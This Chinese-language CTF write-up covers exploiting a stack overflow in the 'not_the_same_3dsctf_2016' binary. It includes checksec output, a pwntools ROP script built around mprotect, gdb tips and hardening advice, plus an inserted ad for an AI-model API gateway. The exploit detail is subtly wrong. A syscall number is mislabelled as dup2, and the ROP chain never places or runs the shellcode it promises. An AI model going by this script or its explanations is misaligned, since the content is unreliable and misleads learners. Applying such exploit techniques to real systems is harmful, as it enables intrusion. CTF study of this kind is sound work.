1. 题目背景与漏洞分析
"not_the_same_3dsctf_2016"是一道经典的CTF二进制漏洞利用题目,源自2016年3DSCTF比赛。这道题目主要考察选手对栈溢出漏洞的利用能力,特别是当常规漏洞利用方式被限制时的变通思路。
题目提供了一个32位ELF可执行文件,运行在Linux环境下。通过逆向分析可以发现,程序存在明显的栈溢出漏洞,但由于编译时启用了部分安全机制(如NX保护),传统的shellcode注入方式无法直接使用。
提示:现代CTF题目往往会故意设置一些限制条件,考察选手绕过安全机制的能力。这道题目的关键就在于发现非常规的内存控制方式。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 逆向工程与漏洞定位
使用IDA Pro等工具对程序进行静态分析,可以快速定位到漏洞点。主要函数逻辑如下:
c复制void vulnerable_function() {
char buffer[64];
gets(buffer); // 明显的栈溢出漏洞
puts(buffer);
}
这个函数使用了危险的gets()函数读取用户输入,没有对输入长度进行任何限制,导致可以覆盖栈上的返回地址。但由于NX保护的存在,我们无法直接执行栈上的shellcode。
通过检查程序的保护机制(使用checksec工具):
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到程序没有启用栈保护(canary)和地址随机化(PIE),这为漏洞利用提供了便利。
3. 非常规ROP链构建
由于NX保护阻止了栈上代码的执行,我们需要使用ROP(Return-Oriented Programming)技术来完成利用。这道题的特殊之处在于程序本身包含了一些非常实用的gadget:
asm复制mov eax, 0x3d ; syscall number for sys_dup2
int 0x80 ; syscall
ret
这个gadget允许我们直接进行系统调用。结合题目提供的mprotect函数,可以构造一个巧妙的利用链:
- 首先使用
mprotect将栈内存区域设置为可执行 - 然后返回到栈上执行我们的shellcode
具体的ROP链构造需要考虑以下几个关键点:
- 栈布局:需要精确计算padding长度以覆盖返回地址
- 参数传递:32位程序通过栈传递参数
- gadget选择:需要找到合适的pop指令来设置寄存器值
4. 完整利用脚本开发
基于以上分析,我们可以编写Python利用脚本(使用pwntools库):
python复制from pwn import *
context(arch='i386', os='linux')
elf = ELF('./not_the_same_3dsctf_2016')
rop = ROP(elf)
# 关键gadget地址
mprotect_addr = elf.symbols['mprotect']
dup2_gadget = 0x0806f3b0 # mov eax, 0x3d; int 0x80; ret
# 构造ROP链
payload = b'A'*76 # padding to return address
payload += p32(mprotect_addr)
payload += p32(dup2_gadget)
payload += p32(0x0804a000) # address to modify
payload += p32(0x1000) # size
payload += p32(0x7) # PROT_READ|PROT_WRITE|PROT_EXEC
# 发送payload
io = process('./not_the_same_3dsctf_2016')
io.sendline(payload)
io.interactive()
这个脚本的关键点在于:
- 精确计算padding长度(76字节)以覆盖返回地址
- 精心选择gadget地址和参数值
- 利用mprotect修改内存属性后,再执行后续操作
5. 利用过程中的常见问题与调试技巧
在实际利用过程中,可能会遇到以下几个典型问题:
-
栈地址计算错误:可以通过gdb调试,在关键函数返回前查看栈指针位置
code复制gdb-peda$ b *vulnerable_function+20 gdb-peda$ run < payload gdb-peda$ x/20wx $esp -
gadget执行失败:确保所有参数都正确传递,特别是32位程序参数是通过栈传递的
-
内存对齐问题:mprotect要求地址必须是页对齐的(通常0x1000字节对齐)
调试时可以使用的实用命令:
code复制# 查看程序映射的内存区域
info proc mappings
# 查看函数返回时的寄存器状态
info registers
# 单步执行并观察栈变化
ni
x/10wx $esp
6. 漏洞利用的进阶思路
在基本利用方案之外,这道题目还有几种变通的解决方案:
-
重用程序已有代码:题目中可能已经包含了一些有用的函数,比如调用system的函数片段
-
数据段注入:如果程序有可写的数据段,可以先将shellcode写入数据段,再跳转执行
-
partial overwrite技术:当ASLR部分启用时,可以尝试覆盖返回地址的低位字节
-
利用文件描述符重用:题目可能已经打开了某些有用的文件描述符,可以尝试重用
在实际CTF比赛中,往往需要尝试多种方法才能找到最有效的利用方式。这道题目的关键教学价值在于:当常规漏洞利用方式受阻时,如何寻找程序本身的特殊功能或代码片段来达成目的。
7. 防护措施与安全建议
从防御角度出发,这道题目展示了几个重要的安全原则:
- 永远不要使用不安全的函数:如gets、strcpy等
- 启用完整的安全机制:虽然NX有帮助,但结合ASLR和栈保护会更安全
- 最小权限原则:避免程序拥有不必要的权限(如mprotect)
- 代码审计:定期检查程序中的危险函数使用
对于开发者来说,应该使用安全的替代函数,如fgets代替gets,strncpy代替strcpy等。同时,编译时应该启用所有可用的安全选项:
code复制gcc -fstack-protector-all -pie -fPIE -Wl,-z,now -o safe_program program.c
这道CTF题目虽然已经过去多年,但其中涉及的漏洞利用技术和防护思路仍然具有现实意义。通过分析这类题目,安全研究人员可以更好地理解漏洞利用的边界条件和绕过技术,从而设计出更强大的防护方案。
